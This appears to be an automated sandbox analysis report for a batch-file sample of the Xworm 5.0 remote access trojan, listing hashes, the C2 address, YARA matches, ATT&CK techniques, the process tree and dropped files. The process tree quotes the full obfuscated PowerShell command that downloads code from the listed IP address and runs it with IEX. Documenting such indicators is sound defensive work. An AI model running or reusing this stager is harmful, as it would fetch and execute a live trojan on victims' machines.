xworm | 450f94a61505838c596764d3e70dce13638ae0086e5695b09264258a859dc42f

General

Target

cmd.bat
Size

180B
MD5

b3cede4b5d517877a96f997ef702fb47
SHA1

a4aa92e6231e8ac310b32ecfd6d8f82f3b1c76af
SHA256

450f94a61505838c596764d3e70dce13638ae0086e5695b09264258a859dc42f
SHA512

5d7e73be8121dd8d3374d773d83f1fc553e748ef863a7fc7d914eecae8d1086dcb17dfc14a36ffd00456802af1f708ea19e8c8887203137c6ecf77c7f1239080

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.221/a.mp4

Extracted

Family

xworm

Version

5.0

C2

92.255.57.221:4414

aes.plain

Signatures

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral2/files/0x000d000000023c00-25.dat	family_xworm
behavioral2/memory/2620-26-0x00000253550F0000-0x0000025355100000-memory.dmp	family_xworm
behavioral2/memory/4816-28-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2620	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2620	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2620 set thread context of 4816	2620	powershell.exe	95

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2620	powershell.exe
2620	powershell.exe
2620	powershell.exe
2620	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	4816	MSBuild.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4132 wrote to memory of 2620	4132	cmd.exe	86
PID 4132 wrote to memory of 2620	4132	cmd.exe	86
PID 2620 wrote to memory of 2996	2620	powershell.exe	92
PID 2620 wrote to memory of 2996	2620	powershell.exe	92
PID 2996 wrote to memory of 2080	2996	csc.exe	93
PID 2996 wrote to memory of 2080	2996	csc.exe	93
PID 2620 wrote to memory of 860	2620	powershell.exe	94
PID 2620 wrote to memory of 860	2620	powershell.exe	94
PID 2620 wrote to memory of 860	2620	powershell.exe	94
PID 2620 wrote to memory of 4816	2620	powershell.exe	95
PID 2620 wrote to memory of 4816	2620	powershell.exe	95
PID 2620 wrote to memory of 4816	2620	powershell.exe	95
PID 2620 wrote to memory of 4816	2620	powershell.exe	95
PID 2620 wrote to memory of 4816	2620	powershell.exe	95
PID 2620 wrote to memory of 4816	2620	powershell.exe	95
PID 2620 wrote to memory of 4816	2620	powershell.exe	95
PID 2620 wrote to memory of 4816	2620	powershell.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cmd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$FC1='ject Net.WebCli';$FC2='loadString(''http://92.255.57.221/a.mp4'')';$FC3='ent).Down';$FC4='(New-Ob';$E5=IEX ($FC4,$FC1,$FC3,$FC2 -Join '')|IEX"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ejxaqe2r\ejxaqe2r.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4A8.tmp" "c:\Users\Admin\AppData\Local\Temp\ejxaqe2r\CSC7B59A7462F9148B7AFEE9AD0857BA79E.TMP"
      4⤵
      PID:2080
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:860
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESC4A8.tmp

Filesize
1KB

MD5
087b6a34d3d7b584d66191e0b28052d1

SHA1
f7ea5b0da7a913cface870752abbadd9779eea24

SHA256
a498c0a7fe23b36b3d3f246808010064d08bf324caa12fb3b77e2a11ae93a808

SHA512
e3306b4e216a0aaf9485ac7c25179afacd0254e76febc291d43a26b23fedf46aaaafb542361314bdea007d35a8d25a07d4e787e5fd280407a7ce7d7e0f6cc69f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zm4roox5.fbf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ejxaqe2r\ejxaqe2r.dll

Filesize
42KB

MD5
ca3b0aa79dc903560f413ecee244854d

SHA1
07d2cd95afa546bda0690ed29a4c333219498734

SHA256
dac45082626c0dff567f69e85072a9334370e7028f739c6dab9fe3baeb7640c6

SHA512
d57424e645fad526042026c777c5e7aae15663b212e15b3dd953639b380bafe709c09d14755d5e005994e3d85a3be26a0e536adb3ff484ed1b9f1cf01b81c358

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ejxaqe2r\CSC7B59A7462F9148B7AFEE9AD0857BA79E.TMP

Filesize
652B

MD5
90f97882f62fb0aa3ade3170f2e0288e

SHA1
c8ebea1f684fe15c49f75878fe18838428edcb90

SHA256
49bbc195da48f064cbe110e9be484211f1b55df3afaf97d940f6b4cd40161e21

SHA512
bdf77c10304bac1f73eee5fc9036b5c0a5c02423df9418423b1693ca5cd2cd4c223a3113e48f4910775e3541abaffaa834b36b7e29c74c09ca701ab1dbdd8865

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ejxaqe2r\ejxaqe2r.0.cs

Filesize
103KB

MD5
992ab26a03ded91714491d267da55fb2

SHA1
25fe04d5493f7e904bd4e64078aa464226e8f393

SHA256
3b18772dbf088171f78cccd3da6fb05f46918b2bafa17ab43ea03ec0507935c1

SHA512
a1dbfd27e02d10e978475bf9c1279c489e1c9febd8456492e2b0d7df33563c4e81cc28e39f6a90aa82cadc06927bce2f831f2089b5e57da4ea89862a6d82ad0f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ejxaqe2r\ejxaqe2r.cmdline

Filesize
204B

MD5
2a0085c1b3e6523014f1400f57ab7098

SHA1
68eecca2f7ca19027f26d2e1a1169e7cc9314a89

SHA256
e1a2347d80afd8ca8ea42ea1e4316dea04eb9e9d878ee9e49773fb4ff1842687

SHA512
fc3329ea8ed3c2238233653d18301689fa38962f40be73a472700b4c546f4d70cd8ff34d0f8e09f07539330f18086202af3c3cb115fd72912f5a14fff90013dd

Download Submit
memory/2620-12-0x00007FFD5D340000-0x00007FFD5DE01000-memory.dmp

Filesize
10.8MB

Download
memory/2620-13-0x0000025357730000-0x0000025357798000-memory.dmp

Filesize
416KB

Download
memory/2620-0-0x00007FFD5D343000-0x00007FFD5D345000-memory.dmp

Filesize
8KB

Download
memory/2620-11-0x00007FFD5D340000-0x00007FFD5DE01000-memory.dmp

Filesize
10.8MB

Download
memory/2620-10-0x00000253550C0000-0x00000253550E2000-memory.dmp

Filesize
136KB

Download
memory/2620-26-0x00000253550F0000-0x0000025355100000-memory.dmp

Filesize
64KB

Download
memory/2620-31-0x00007FFD5D340000-0x00007FFD5DE01000-memory.dmp

Filesize
10.8MB

Download
memory/4816-28-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/4816-32-0x00000000056B0000-0x000000000574C000-memory.dmp

Filesize
624KB

Download
memory/4816-33-0x0000000005DB0000-0x0000000005E16000-memory.dmp

Filesize
408KB

Download
memory/4816-34-0x00000000068F0000-0x0000000006982000-memory.dmp

Filesize
584KB

Download
memory/4816-35-0x0000000006F40000-0x00000000074E4000-memory.dmp

Filesize
5.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads